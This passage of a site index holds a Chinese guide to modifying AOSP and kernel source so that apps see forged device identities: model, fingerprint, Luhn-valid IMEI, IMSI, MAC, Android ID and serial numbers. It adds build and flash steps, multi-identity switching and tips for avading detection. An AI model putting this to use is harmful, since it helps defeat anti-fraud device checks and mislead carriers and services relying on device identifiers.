","date":"2025-04-30","objectID":"/reverse_engineering/android/04-reference/advanced/aosp_device_modification/:5:0","tags":["Native层","浏览器指纹","签名验证","Frida","DEX","高级"],"title":"基于 AOSP 的深度改机技术指南","uri":"/reverse_engineering/android/04-reference/advanced/aosp_device_modification/#详细代码样例"},{"categories":null,"collections":null,"content":"样例 1：修改 Build.java 返回伪造设备信息 文件路径: frameworks/base/core/java/android/os/Build.java 这是 App 获取设备基本信息的核心类，修改它可以伪造设备型号、品牌、指纹等。 // frameworks/base/core/java/android/os/Build.java package android.os; import android.annotation.SystemApi; public class Build { // ============================================ // 原始代码通过 SystemProperties 获取值 // 我们在这里硬编码或从配置文件读取伪造值 // ============================================ // 方案一：直接硬编码（简单但不灵活） public static final String DEVICE = \"husky\"; // Pixel 8 Pro 代号 public static final String MODEL = \"Pixel 8 Pro\"; public static final String BRAND = \"google\"; public static final String MANUFACTURER = \"Google\"; public static final String PRODUCT = \"husky\"; public static final String HARDWARE = \"tensor\"; // 指纹信息（非常重要，很多检测依赖这个） public static final String FINGERPRINT = \"google/husky/husky:14/UD1A.231105.004/11010374:user/release-keys\"; // 方案二：从配置文件动态读取（推荐） private static final String CONFIG_PATH = \"/data/system/device_spoof.conf\"; private static String getConfigValue(String key, String defaultValue) { try { java.io.File configFile = new java.io.File(CONFIG_PATH); if (configFile.exists()) { java.io.BufferedReader reader = new java.io.BufferedReader( new java.io.FileReader(configFile)); String line; while ((line = reader.readLine()) != null) { if (line.startsWith(key + \"=\")) { reader.close(); return line.substring(key.length() + 1); } } reader.close(); } } catch (Exception e) { // 读取失败时返回默认值 } return defaultValue; } // 使用配置化方案的示例 public static final String SERIAL = getConfigValue(\"ro.serialno\", \"UNKNOWN\"); // ============================================ // 修改 VERSION 内部类 // ============================================ public static class VERSION { public static final String RELEASE = \"14\"; public static final String RELEASE_OR_CODENAME = \"14\"; public static final int SDK_INT = 34; // Android 14 public static final String SECURITY_PATCH = \"2024-01-05\"; // 编译时间戳 public static final long TIME = 1704067200000L; // 2024-01-01 } } ","date":"2025-04-30","objectID":"/reverse_engineering/android/04-reference/advanced/aosp_device_modification/:5:1","tags":["Native层","浏览器指纹","签名验证","Frida","DEX","高级"],"title":"基于 AOSP 的深度改机技术指南","uri":"/reverse_engineering/android/04-reference/advanced/aosp_device_modification/#样例-1修改-buildjava-返回伪造设备信息"},{"categories":null,"collections":null,"content":"样例 2：修改 SystemProperties.cpp 拦截属性读取 文件路径: frameworks/base/core/jni/android_os_SystemProperties.cpp 这是拦截所有系统属性读取的核心位置，可以在这里对特定属性返回伪造值。 // frameworks/base/core/jni/android_os_SystemProperties.cpp #include \u003cstring\u003e #include \u003cmap\u003e #include \u003cfstream\u003e #include \u003candroid-base/properties.h\u003e #include \"jni.h\" #include \"core_jni_helpers.h\" namespace android { // 伪造属性映射表 static std::map\u003cstd::string, std::string\u003e sSpoofedProperties; static bool sPropertiesLoaded = false; // 从配置文件加载伪造属性 static void loadSpoofedProperties() { if (sPropertiesLoaded) return; std::ifstream configFile(\"/data/system/prop_spoof.conf\"); if (configFile.is_open()) { std::string line; while (std::getline(configFile, line)) { // 跳过注释和空行 if (line.empty() || line[0] == '#') continue; size_t pos = line.find('='); if (pos != std::string::npos) { std::string key = line.substr(0, pos); std::string value = line.substr(pos + 1); sSpoofedProperties[key] = value; } } configFile.close(); } sPropertiesLoaded = true; } // 检查是否需要伪造该属性 static bool shouldSpoof(const char* key, std::string\u0026 spoofedValue) { loadSpoofedProperties(); auto it = sSpoofedProperties.find(key); if (it != sSpoofedProperties.end()) { spoofedValue = it-\u003esecond; return true; } // 硬编码的敏感属性列表（备用方案） static const std::map\u003cstd::string, std::string\u003e hardcodedSpoof = { {\"ro.serialno\", \"RANDOMSERIAL123\"}, {\"ro.product.model\", \"Pixel 8 Pro\"}, {\"ro.product.brand\", \"google\"}, {\"ro.product.manufacturer\", \"Google\"}, {\"ro.product.device\", \"husky\"}, {\"ro.build.fingerprint\", \"google/husky/husky:14/UD1A.231105.004/11010374:user/release-keys\"}, {\"ro.build.description\", \"husky-user 14 UD1A.231105.004 11010374 release-keys\"}, {\"ro.boot.serialno\", \"RANDOMSERIAL123\"}, {\"persist.sys.timezone\", \"America/New_York\"}, {\"gsm.version.baseband\", \"g5300q-231020-231020-B-11108285\"}, }; auto hardIt = hardcodedSpoof.find(key); if (hardIt != hardcodedSpoof.end()) { spoofedValue = hardIt-\u003esecond; return true; } return false; } // 修改后的 native_get 函数 static jstring SystemProperties_getSS(JNIEnv* env, jclass clazz, jstring keyJ, jstring defJ) { const char* key = env-\u003eGetStringUTFChars(keyJ, nullptr); std::string spoofedValue; // 检查是否需要伪造 if (shouldSpoof(key, spoofedValue)) { env-\u003eReleaseStringUTFChars(keyJ, key); return env-\u003eNewStringUTF(spoofedValue.c_str()); } // 原始逻辑：从真实属性中获取 std::string value = android::base::GetProperty(key, \"\"); env-\u003eReleaseStringUTFChars(keyJ, key); if (value.empty() \u0026\u0026 defJ != nullptr) { return defJ; } return env-\u003eNewStringUTF(value.c_str()); } } // namespace android ","date":"2025-04-30","objectID":"/reverse_engineering/android/04-reference/advanced/aosp_device_modification/:5:2","tags":["Native层","浏览器指纹","签名验证","Frida","DEX","高级"],"title":"基于 AOSP 的深度改机技术指南","uri":"/reverse_engineering/android/04-reference/advanced/aosp_device_modification/#样例-2修改-systempropertiescpp-拦截属性读取"},{"categories":null,"collections":null,"content":"样例 3：修改 TelephonyManager 返回伪造 IMEI 文件路径: frameworks/base/telephony/java/android/telephony/TelephonyManager.java // frameworks/base/telephony/java/android/telephony/TelephonyManager.java package android.telephony; import android.content.Context; import android.os.SystemProperties; import java.security.MessageDigest; import java.util.Random; public class TelephonyManager { private Context mContext; // ============================================ // IMEI 伪造相关 // ============================================ // 生成符合 Luhn 校验的有效 IMEI private static String generateValidImei(String baseImei) { if (baseImei.length() != 14) { baseImei = \"86123456789012\"; // 默认基础 IMEI } // 计算 Luhn 校验位 int sum = 0; for (int i = 0; i \u003c 14; i++) { int digit = baseImei.charAt(i) - '0'; if (i % 2 == 1) { digit *= 2; if (digit \u003e 9) digit -= 9; } sum += digit; } int checkDigit = (10 - (sum % 10)) % 10; return baseImei + checkDigit; } // 基于设备特征生成稳定的伪造 IMEI private String getSpoofedImei(int slotIndex) { try { // 从配置文件读取 String configImei = readConfigValue(\"imei_slot_\" + slotIndex); if (configImei != null \u0026\u0026 configImei.length() == 15) { return configImei; } // 基于某个种子生成稳定的 IMEI String seed = SystemProperties.get(\"ro.spoof.seed\", \"default_seed\"); MessageDigest md = MessageDigest.getInstance(\"SHA-256\"); md.update((seed + \"_imei_\" + slotIndex).getBytes()); byte[] hash = md.digest(); StringBuilder sb = new StringBuilder(); sb.append(\"86\"); // TAC 前缀 (中国) for (int i = 0; i \u003c 12; i++) { sb.append(Math.abs(hash[i]) % 10); } return generateValidImei(sb.toString()); } catch (Exception e) { return \"861234567890123\"; // 降级到默认值 } } // 修改后的 getImei 方法 public String getImei(int slotIndex) { // 检查是否启用伪造 if (isSpoofEnabled()) { return getSpoofedImei(slotIndex); } // 原始实现 return getImeiInternal(slotIndex); } @Deprecated public String getDeviceId(int slotIndex) { return getImei(slotIndex); } // ============================================ // MEID 伪造 (CDMA 设备) // ============================================ private String getSpoofedMeid() { String seed = SystemProperties.get(\"ro.spoof.seed\", \"default_seed\"); try { MessageDigest md = MessageDigest.getInstance(\"SHA-256\"); md.update((seed + \"_meid\").getBytes()); byte[] hash = md.digest(); StringBuilder sb = new StringBuilder(); for (int i = 0; i \u003c 14; i++) { int val = Math.abs(hash[i]) % 16; sb.append(Integer.toHexString(val).toUpperCase()); } return sb.toString(); } catch (Exception e) { return \"A0000012345678\"; } } public String getMeid(int slotIndex) { if (isSpoofEnabled()) { return getSpoofedMeid(); } return getMeidInternal(slotIndex); } // ============================================ // 订阅者 ID (IMSI) 伪造 // ============================================ public String getSubscriberId(int subId) { if (isSpoofEnabled()) { // IMSI 格式: MCC (3位) + MNC (2-3位) + MSIN (9-10位) String seed = SystemProperties.get(\"ro.spoof.seed\", \"default_seed\"); try { MessageDigest md = MessageDigest.getInstance(\"SHA-256\"); md.update((seed + \"_imsi_\" + subId).getBytes()); byte[] hash = md.digest(); StringBuilder sb = new StringBuilder(); sb.append(\"460\"); // MCC (中国) sb.append(\"00\"); // MNC (中国移动) for (int i = 0; i \u003c 10; i++) { sb.append(Math.abs(hash[i]) % 10); } return sb.toString(); } catch (Exception e) { return \"460001234567890\"; } } return getSubscriberIdInternal(subId); } // ============================================ // 工具方法 // ============================================ private boolean isSpoofEnabled() { return \"true\".equals(SystemProperties.get(\"persist.spoof.enabled\", \"false\")); } private String readConfigValue(String key) { // 实现配置文件读取逻辑 return null; } // 原始内部实现（保留以供调用） private native String getImeiInternal(int slotIndex); private native String getMeidInternal(int slotIndex); private native String getSubscriberIdInternal(int subId); } ","date":"2025-04-30","objectID":"/reverse_engineering/android/04-reference/advanced/aosp_device_modification/:5:3","tags":["Native层","浏览器指纹","签名验证","Frida","DEX","高级"],"title":"基于 AOSP 的深度改机技术指南","uri":"/reverse_engineering/android/04-reference/advanced/aosp_device_modification/#样例-3修改-telephonymanager-返回伪造-imei"},{"categories":null,"collections":null,"content":"样例 4：修改 WifiInfo 返回伪造 MAC 地址 文件路径: frameworks/base/wifi/java/android/net/wifi/WifiInfo.java // frameworks/base/wifi/java/android/net/wifi/WifiInfo.java package android.net.wifi; import android.os.Parcel; import android.os.Parcelable; import android.os.SystemProperties; import java.security.MessageDigest; public class WifiInfo implements Parcelable { private String mMacAddress; private String mBSSID; // ============================================ // MAC 地址伪造 // ============================================ // 生成格式正确的随机 MAC 地址 private static String generateSpoofedMac(String seed) { try { MessageDigest md = MessageDigest.getInstance(\"SHA-256\"); md.update(seed.getBytes()); byte[] hash = md.digest(); // 确保是本地管理的单播地址 // 第一个字节：xxxxxx10 (本地管理, 单播) hash[0] = (byte) ((hash[0] \u0026 0xFC) | 0x02); return String.format(\"%02x:%02x:%02x:%02x:%02x:%02x\", hash[0] \u0026 0xFF, hash[1] \u0026 0xFF, hash[2] \u0026 0xFF, hash[3] \u0026 0xFF, hash[4] \u0026 0xFF, hash[5] \u0026 0xFF); } catch (Exception e) { return \"02:00:00:00:00:00\"; } } // 根据 SSID 生成稳定的伪造 MAC（可选：每个网络不同 MAC） private String getPerNetworkMac(String ssid) { String seed = SystemProperties.get(\"ro.spoof.seed\", \"default\") + \"_wifi_\" + ssid; return generateSpoofedMac(seed); } public String getMacAddress() { // 检查是否启用伪造 if (isSpoofEnabled()) { String spoofMode = SystemProperties.get(\"persist.spoof.wifi.mode\", \"fixed\"); switch (spoofMode) { case \"random\": // 每次请求生成随机 MAC return generateSpoofedMac(String.valueOf(System.nanoTime())); case \"per_network\": // 每个网络使用不同但稳定的 MAC return getPerNetworkMac(getSSID()); case \"fixed\": default: // 使用固定的伪造 MAC String configMac = SystemProperties.get(\"persist.spoof.wifi.mac\", \"\"); if (!configMac.isEmpty()) { return configMac; } String seed = SystemProperties.get(\"ro.spoof.seed\", \"default\") + \"_wifi\"; return generateSpoofedMac(seed); } } // 原始逻辑 return mMacAddress; } // ============================================ // BSSID 伪造（可选） // ============================================ public String getBSSID() { if (isSpoofEnabled() \u0026\u0026 \"true\".equals(SystemProperties.get(\"persist.spoof.wifi.bssid\", \"false\"))) { // 伪造 BSSID（AP 的 MAC 地址） String seed = SystemProperties.get(\"ro.spoof.seed\", \"default\") + \"_bssid_\" + mBSSID; return generateSpoofedMac(seed); } return mBSSID; } private boolean isSpoofEnabled() { return \"true\".equals(SystemProperties.get(\"persist.spoof.enabled\", \"false\")); } } ","date":"2025-04-30","objectID":"/reverse_engineering/android/04-reference/advanced/aosp_device_modification/:5:4","tags":["Native层","浏览器指纹","签名验证","Frida","DEX","高级"],"title":"基于 AOSP 的深度改机技术指南","uri":"/reverse_engineering/android/04-reference/advanced/aosp_device_modification/#样例-4修改-wifiinfo-返回伪造-mac-地址"},{"categories":null,"collections":null,"content":"样例 5：修改 Settings.Secure 返回伪造 Android ID 文件路径: frameworks/base/core/java/android/provider/Settings.java // frameworks/base/core/java/android/provider/Settings.java package android.provider; import android.content.ContentResolver; import android.os.SystemProperties; import java.security.MessageDigest; public final class Settings { public static final class Secure extends NameValueTable { public static final String ANDROID_ID = \"android_id\"; // ============================================ // Android ID 伪造 // ============================================ private static String sSpoofedAndroidId = null; private static synchronized String getSpoofedAndroidId() { if (sSpoofedAndroidId != null) { return sSpoofedAndroidId; } // 从配置读取 String configId = SystemProperties.get(\"persist.spoof.android_id\", \"\"); if (!configId.isEmpty() \u0026\u0026 configId.length() == 16) { sSpoofedAndroidId = configId; return sSpoofedAndroidId; } // 基于种子生成稳定的 Android ID String seed = SystemProperties.get(\"ro.spoof.seed\", \"default_seed\"); try { MessageDigest md = MessageDigest.getInstance(\"SHA-256\"); md.update((seed + \"_android_id\").getBytes()); byte[] hash = md.digest(); StringBuilder sb = new StringBuilder(); for (int i = 0; i \u003c 8; i++) { sb.append(String.format(\"%02x\", hash[i] \u0026 0xFF)); } sSpoofedAndroidId = sb.toString(); } catch (Exception e) { sSpoofedAndroidId = \"0123456789abcdef\"; } return sSpoofedAndroidId; } public static String getString(ContentResolver resolver, String name) { // 拦截 Android ID 请求 if (ANDROID_ID.equals(name) \u0026\u0026 isSpoofEnabled()) { return getSpoofedAndroidId(); } // 其他可能需要拦截的值 if (\"bluetooth_address\".equals(name) \u0026\u0026 isSpoofEnabled()) { return getSpoofedBluetoothAddress(); } // 原始实现 return getStringInternal(resolver, name); } // ============================================ // 蓝牙地址伪造 // ============================================ private static String getSpoofedBluetoothAddress() { String seed = SystemProperties.get(\"ro.spoof.seed\", \"default\") + \"_bt\"; try { MessageDigest md = MessageDigest.getInstance(\"SHA-256\"); md.update(seed.getBytes()); byte[] hash = md.digest(); return String.format(\"%02X:%02X:%02X:%02X:%02X:%02X\", hash[0] \u0026 0xFF, hash[1] \u0026 0xFF, hash[2] \u0026 0xFF, hash[3] \u0026 0xFF, hash[4] \u0026 0xFF, hash[5] \u0026 0xFF); } catch (Exception e) { return \"00:00:00:00:00:00\"; } } private static boolean isSpoofEnabled() { return \"true\".equals(SystemProperties.get(\"persist.spoof.enabled\", \"false\")); } private static native String getStringInternal(ContentResolver resolver, String name); } } ","date":"2025-04-30","objectID":"/reverse_engineering/android/04-reference/advanced/aosp_device_modification/:5:5","tags":["Native层","浏览器指纹","签名验证","Frida","DEX","高级"],"title":"基于 AOSP 的深度改机技术指南","uri":"/reverse_engineering/android/04-reference/advanced/aosp_device_modification/#样例-5修改-settingssecure-返回伪造-android-id"},{"categories":null,"collections":null,"content":"样例 6：修改内核层序列号 (/proc/cpuinfo) 文件路径: kernel/arch/arm64/kernel/cpuinfo.c (ARM64) 或 kernel/arch/arm/kernel/setup.c (ARM32) // kernel/arch/arm64/kernel/cpuinfo.c #include \u003clinux/kernel.h\u003e #include \u003clinux/seq_file.h\u003e #include \u003clinux/random.h\u003e #include \u003clinux/string.h\u003e // 伪造的序列号（可以编译时指定） static char spoofed_serial[32] = \"SPOOFED_SERIAL_123\"; static int serial_initialized = 0; // 生成随机序列号（可选） static void generate_random_serial(void) { if (serial_initialized) return; // 检查是否需要生成随机序列号 // 可以通过内核参数 androidboot.spoof_serial=random 控制 char* spoof_param = strstr(saved_command_line, \"androidboot.spoof_serial=\"); if (spoof_param) { char mode[16] = {0}; sscanf(spoof_param, \"androidboot.spoof_serial=%15s\", mode); if (strcmp(mode, \"random\") == 0) { unsigned char random_bytes[8]; get_random_bytes(random_bytes, sizeof(random_bytes)); snprintf(spoofed_serial, sizeof(spoofed_serial), \"%02X%02X%02X%02X%02X%02X%02X%02X\", random_bytes[0], random_bytes[1], random_bytes[2], random_bytes[3], random_bytes[4], random_bytes[5], random_bytes[6], random_bytes[7]); } else if (strcmp(mode, \"none\") != 0) { // 使用指定的序列号 strncpy(spoofed_serial, mode, sizeof(spoofed_serial) - 1); } } serial_initialized = 1; } // 修改 /proc/cpuinfo 的输出 static int c_show(struct seq_file *m, void *v) { int i; // ... 原有的 CPU 信息输出代码 ... // 在末尾添加序列号 generate_random_serial(); // 原始代码可能是： // seq_printf(m, \"Serial\\t\\t: %016llx\\n\", system_serial); // 修改为： seq_printf(m, \"Serial\\t\\t: %s\\n\", spoofed_serial); // 伪造硬件信息（可选） seq_printf(m, \"Hardware\\t: Qualcomm Technologies, Inc SM8550\\n\"); seq_printf(m, \"Revision\\t: 0001\\n\"); return 0; } 另一种方案：修改 /proc/sys/kernel/random/boot_id // kernel/drivers/char/random.c static ssize_t boot_id_show(struct kobject *kobj, struct kobj_attribute *attr, char *buf) { // 原始代码生成真实的 boot_id // 我们可以返回伪造的或基于种子生成的值 #ifdef CONFIG_SPOOF_BOOT_ID // 编译时配置的固定值 return sprintf(buf, \"12345678-1234-1234-1234-123456789abc\\n\"); #else // 原始实现 return sprintf(buf, \"%pU\\n\", \u0026boot_id); #endif } ","date":"2025-04-30","objectID":"/reverse_engineering/android/04-reference/advanced/aosp_device_modification/:5:6","tags":["Native层","浏览器指纹","签名验证","Frida","DEX","高级"],"title":"基于 AOSP 的深度改机技术指南","uri":"/reverse_engineering/android/04-reference/advanced/aosp_device_modification/#样例-6修改内核层序列号-proccpuinfo"},{"categories":null,"collections":null,"content":"样例 7：集中式配置管理方案 创建一个系统服务来统一管理所有伪造值。 新建文件: frameworks/base/services/core/java/com/android/server/DeviceSpoofService.java // frameworks/base/services/core/java/com/android/server/DeviceSpoofService.java package com.android.server; import android.content.Context; import android.os.SystemProperties; import android.util.Log; import org.json.JSONObject; import java.io.BufferedReader; import java.io.File; import java.io.FileReader; import java.security.MessageDigest; import java.util.HashMap; import java.util.Map; public class DeviceSpoofService extends SystemService { private static final String TAG = \"DeviceSpoofService\"; private static final String CONFIG_PATH = \"/data/system/spoof_config.json\"; private static DeviceSpoofService sInstance; private Map\u003cString, String\u003e mSpoofedValues = new HashMap\u003c\u003e(); private boolean mEnabled = false; private String mSeed; // 单例访问 public static DeviceSpoofService getInstance() { return sInstance; } public DeviceSpoofService(Context context) { super(context); sInstance = this; } @Override public void onStart() { loadConfiguration(); publishBinderService(\"device_spoof\", new BinderService()); } private void loadConfiguration() { try { File configFile = new File(CONFIG_PATH); if (!configFile.exists()) { Log.i(TAG, \"No spoof config found, using defaults\"); return; } StringBuilder content = new StringBuilder(); BufferedReader reader = new BufferedReader(new FileReader(configFile)); String line; while ((line = reader.readLine()) != null) { content.append(line); } reader.close(); JSONObject config = new JSONObject(content.toString()); mEnabled = config.optBoolean(\"enabled\", false); mSeed = config.optString(\"seed\", String.valueOf(System.currentTimeMillis())); // 加载预设值 JSONObject values = config.optJSONObject(\"values\"); if (values != null) { for (java.util.Iterator\u003cString\u003e it = values.keys(); it.hasNext();) { String key = it.next(); mSpoofedValues.put(key, values.getString(key)); } } Log.i(TAG, \"Spoof config loaded, enabled=\" + mEnabled + \", values count=\" + mSpoofedValues.size()); } catch (Exception e) { Log.e(TAG, \"Failed to load config\", e); } } // ============================================ // 公共 API // ============================================ public boolean isEnabled() { return mEnabled; } public String getSpoofedValue(String key) { if (!mEnabled) return null; // 优先返回配置中的值 if (mSpoofedValues.containsKey(key)) { return mSpoofedValues.get(key); } // 否则基于种子生成 return generateValue(key); } public String getImei(int slot) { String key = \"imei_\" + slot; String value = getSpoofedValue(key); if (value != null) return value; return generateImei(slot); } public String getAndroidId() { String value = getSpoofedValue(\"android_id\"); if (value != null) return value; return generateHexString(\"android_id\", 16); } public String getMacAddress() { String value = getSpoofedValue(\"wifi_mac\"); if (value != null) return value; return generateMacAddress(\"wifi_mac\"); } public String getSerialNumber() { String value = getSpoofedValue(\"serial\"); if (value != null) return value; return generateAlphanumeric(\"serial\", 16); } // ============================================ // 生成器方法 // ============================================ private String generateValue(String key) { return generateHexString(key, 16); } private String generateHexString(String key, int length) { try { MessageDigest md = MessageDigest.getInstance(\"SHA-256\"); md.update((mSeed + \"_\" + key).getBytes()); byte[] hash = md.digest(); StringBuilder sb = new StringBuilder(); for (int i = 0; i \u003c length / 2; i++) { sb.append(String.format(\"%02x\", hash[i] \u0026 0xFF)); } return sb.toString(); } catch (Exception e) { return null; } } private String generateAlphanumeric(String key, int length) { try { MessageDigest md = MessageDigest.getInstance(\"SHA-256\"); md.update((mSeed + \"_\" + key).getBytes()); byte[] hash = md.digest(); String chars = \"0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ\"; StringBuilder sb = new StringBuilder(); for (int i = 0; i \u003c length; i++) { sb.append(chars.charAt(Mat","date":"2025-04-30","objectID":"/reverse_engineering/android/04-reference/advanced/aosp_device_modification/:5:7","tags":["Native层","浏览器指纹","签名验证","Frida","DEX","高级"],"title":"基于 AOSP 的深度改机技术指南","uri":"/reverse_engineering/android/04-reference/advanced/aosp_device_modification/#样例-7集中式配置管理方案"},{"categories":null,"collections":null,"content":"样例 8：修改 SensorManager 伪造传感器数据 文件路径: frameworks/base/core/java/android/hardware/SensorManager.java // frameworks/base/core/java/android/hardware/SensorManager.java package android.hardware; import android.os.SystemProperties; import java.util.ArrayList; import java.util.List; public abstract class SensorManager { // ============================================ // 传感器列表伪造 // ============================================ // 修改传感器列表，隐藏或伪造某些传感器 public List\u003cSensor\u003e getSensorList(int type) { List\u003cSensor\u003e realList = getSensorListInternal(type); if (!isSpoofEnabled()) { return realList; } List\u003cSensor\u003e spoofedList = new ArrayList\u003c\u003e(); for (Sensor sensor : realList) { // 可选：隐藏某些传感器 if (shouldHideSensor(sensor)) { continue; } // 伪造传感器的厂商和名称 Sensor spoofedSensor = spoofSensorInfo(sensor); spoofedList.add(spoofedSensor); } return spoofedList; } private boolean shouldHideSensor(Sensor sensor) { // 例如：隐藏指纹传感器信息 String name = sensor.getName().toLowerCase(); return name.contains(\"fingerprint\") || name.contains(\"biometric\"); } private Sensor spoofSensorInfo(Sensor original) { // 创建一个带伪造信息的传感器副本 // 注意：这需要修改 Sensor 类使其可修改或创建新的构造器 return new SpoofedSensor(original, \"Qualcomm\", // 伪造的厂商 \"Qualcomm Accelerometer\" // 伪造的名称 ); } private boolean isSpoofEnabled() { return \"true\".equals(SystemProperties.get(\"persist.spoof.enabled\", \"false\")); } protected abstract List\u003cSensor\u003e getSensorListInternal(int type); } ","date":"2025-04-30","objectID":"/reverse_engineering/android/04-reference/advanced/aosp_device_modification/:5:8","tags":["Native层","浏览器指纹","签名验证","Frida","DEX","高级"],"title":"基于 AOSP 的深度改机技术指南","uri":"/reverse_engineering/android/04-reference/advanced/aosp_device_modification/#样例-8修改-sensormanager-伪造传感器数据"},{"categories":null,"collections":null,"content":"编译与刷机 设置环境: source build/envsetup.sh 选择目标: lunch aosp_\u003cdevice_name\u003e-userdebug (例如 lunch aosp_husky-userdebug 对应 Pixel 8 Pro) 开始编译: make -j$(nproc) (这会花费数小时) 刷机: 将设备置于 fastboot 模式。 执行 fastboot flashall -w，这将刷写所有编译生成的镜像 (system.img, boot.img, vendor.img 等)。 ","date":"2025-04-30","objectID":"/reverse_engineering/android/04-reference/advanced/aosp_device_modification/:6:0","tags":["Native层","浏览器指纹","签名验证","Frida","DEX","高级"],"title":"基于 AOSP 的深度改机技术指南","uri":"/reverse_engineering/android/04-reference/advanced/aosp_device_modification/#编译与刷机-1"},{"categories":null,"collections":null,"content":"增量编译技巧 修改特定模块后，无需全量编译： # 只编译 Framework m framework # 只编译 TelephonyProvider m TelephonyProvider # 只编译 SystemUI m SystemUI # 只重新生成 system.img（不重新编译模块） m snod # 只重新生成 boot.img m bootimage # 使用 adb 同步修改的文件（无需刷机） adb root adb remount adb sync system adb reboot ","date":"2025-04-30","objectID":"/reverse_engineering/android/04-reference/advanced/aosp_device_modification/:7:0","tags":["Native层","浏览器指纹","签名验证","Frida","DEX","高级"],"title":"基于 AOSP 的深度改机技术指南","uri":"/reverse_engineering/android/04-reference/advanced/aosp_device_modification/#增量编译技巧"},{"categories":null,"collections":null,"content":"测试与验证 ","date":"2025-04-30","objectID":"/reverse_engineering/android/04-reference/advanced/aosp_device_modification/:8:0","tags":["Native层","浏览器指纹","签名验证","Frida","DEX","高级"],"title":"基于 AOSP 的深度改机技术指南","uri":"/reverse_engineering/android/04-reference/advanced/aosp_device_modification/#测试与验证"},{"categories":null,"collections":null,"content":"验证脚本 创建一个 App 或使用 adb shell 验证伪造是否生效： #!/system/bin/sh # 验证改机效果 echo \"=== Build Info ===\" getprop ro.product.model getprop ro.product.brand getprop ro.build.fingerprint getprop ro.serialno echo \"=== Android ID ===\" settings get secure android_id echo \"=== IMEI (需要电话权限) ===\" service call iphonesubinfo 1 echo \"=== Wi-Fi MAC ===\" cat /sys/class/net/wlan0/address echo \"=== CPU Serial ===\" cat /proc/cpuinfo | grep Serial ","date":"2025-04-30","objectID":"/reverse_engineering/android/04-reference/advanced/aosp_device_modification/:8:1","tags":["Native层","浏览器指纹","签名验证","Frida","DEX","高级"],"title":"基于 AOSP 的深度改机技术指南","uri":"/reverse_engineering/android/04-reference/advanced/aosp_device_modification/#验证脚本"},{"categories":null,"collections":null,"content":"常见检测点对照表 检测项 API/路径 对应修改位置 设备型号 Build.MODEL Build.java 品牌 Build.BRAND Build.java 指纹 Build.FINGERPRINT Build.java 序列号 Build.SERIAL Build.java + 内核 Android ID Settings.Secure.ANDROID_ID Settings.java IMEI TelephonyManager.getImei() TelephonyManager.java MAC 地址 WifiInfo.getMacAddress() WifiInfo.java 系统属性 SystemProperties.get() SystemProperties.cpp CPU 序列号 /proc/cpuinfo 内核 cpuinfo.c Boot ID /proc/sys/kernel/random/boot_id 内核 random.c ","date":"2025-04-30","objectID":"/reverse_engineering/android/04-reference/advanced/aosp_device_modification/:8:2","tags":["Native层","浏览器指纹","签名验证","Frida","DEX","高级"],"title":"基于 AOSP 的深度改机技术指南","uri":"/reverse_engineering/android/04-reference/advanced/aosp_device_modification/#常见检测点对照表"},{"categories":null,"collections":null,"content":"优势与挑战 ","date":"2025-04-30","objectID":"/reverse_engineering/android/04-reference/advanced/aosp_device_modification/:9:0","tags":["Native层","浏览器指纹","签名验证","Frida","DEX","高级"],"title":"基于 AOSP 的深度改机技术指南","uri":"/reverse_engineering/android/04-reference/advanced/aosp_device_modification/#优势与挑战"},{"categories":null,"collections":null,"content":"优势 彻底性: 从系统根源上改变设备指纹，几乎无法被应用层技术检测。 稳定性: 不会像 Hook 框架那样因为应用更新或加固而失效。 性能好: 没有额外的 Hook 开销，所有修改都是原生代码。 ","date":"2025-04-30","objectID":"/reverse_engineering/android/04-reference/advanced/aosp_device_modification/:9:1","tags":["Native层","浏览器指纹","签名验证","Frida","DEX","高级"],"title":"基于 AOSP 的深度改机技术指南","uri":"/reverse_engineering/android/04-reference/advanced/aosp_device_modification/#优势"},{"categories":null,"collections":null,"content":"挑战 技术门槛极高: 需要深入理解 AOSP 源码结构、编译系统和 Linux 内核。 时间成本高: 全量编译一次 AOSP 通常需要数小时。 设备限制: 强依赖于有良好 AOSP 支持和开放驱动的设备。 维护困难: 每次 Android 版本更新，都需要重新进行源码适配和修改。 ","date":"2025-04-30","objectID":"/reverse_engineering/android/04-reference/advanced/aosp_device_modification/:9:2","tags":["Native层","浏览器指纹","签名验证","Frida","DEX","高级"],"title":"基于 AOSP 的深度改机技术指南","uri":"/reverse_engineering/android/04-reference/advanced/aosp_device_modification/#挑战"},{"categories":null,"collections":null,"content":"进阶技巧 ","date":"2025-04-30","objectID":"/reverse_engineering/android/04-reference/advanced/aosp_device_modification/:10:0","tags":["Native层","浏览器指纹","签名验证","Frida","DEX","高级"],"title":"基于 AOSP 的深度改机技术指南","uri":"/reverse_engineering/android/04-reference/advanced/aosp_device_modification/#进阶技巧"},{"categories":null,"collections":null,"content":"1. 随机种子管理 使用单一种子生成所有伪造值，保证同一\"设备身份\"的一致性： // 初始化时设置种子 adb shell setprop ro.spoof.seed \"unique_device_$(date +%s)\" ","date":"2025-04-30","objectID":"/reverse_engineering/android/04-reference/advanced/aosp_device_modification/:10:1","tags":["Native层","浏览器指纹","签名验证","Frida","DEX","高级"],"title":"基于 AOSP 的深度改机技术指南","uri":"/reverse_engineering/android/04-reference/advanced/aosp_device_modification/#1-随机种子管理"},{"categories":null,"collections":null,"content":"2. 多身份切换 通过切换种子实现多个\"设备身份”： # 切换到身份 A adb shell setprop persist.spoof.profile \"profile_a\" adb shell svc power reboot # 切换到身份 B adb shell setprop persist.spoof.profile \"profile_b\" adb shell svc power reboot ","date":"2025-04-30","objectID":"/reverse_engineering/android/04-reference/advanced/aosp_device_modification/:10:2","tags":["Native层","浏览器指纹","签名验证","Frida","DEX","高级"],"title":"基于 AOSP 的深度改机技术指南","uri":"/reverse_engineering/android/04-reference/advanced/aosp_device_modification/#2-多身份切换"},{"categories":null,"collections":null,"content":"3. 避免检测的注意事项 保持一致性: 所有相关字段要匹配（如 Model 和 Fingerprint 中的设备名要一致） 合法格式: IMEI 要通过 Luhn 校验，MAC 要是合法格式 时间戳合理: Build 时间不要设置成未来时间 避免已知测试值: 不要使用 000000000000000 等明显的测试值 ","date":"2025-04-30","objectID":"/reverse_engineering/android/04-reference/advanced/aosp_device_modification/:10:3","tags":["Native层","浏览器指纹","签名验证","Frida","DEX","高级"],"title":"基于 AOSP 的深度改机技术指南","uri":"/reverse_engineering/android/04-reference/advanced/aosp_device_modification/#3-避免检测的注意事项"},{"categories":null,"collections":null,"content":"基础爬虫项目模板 一个简单但完整的 Python 爬虫项目模板，适合单机数据采集。 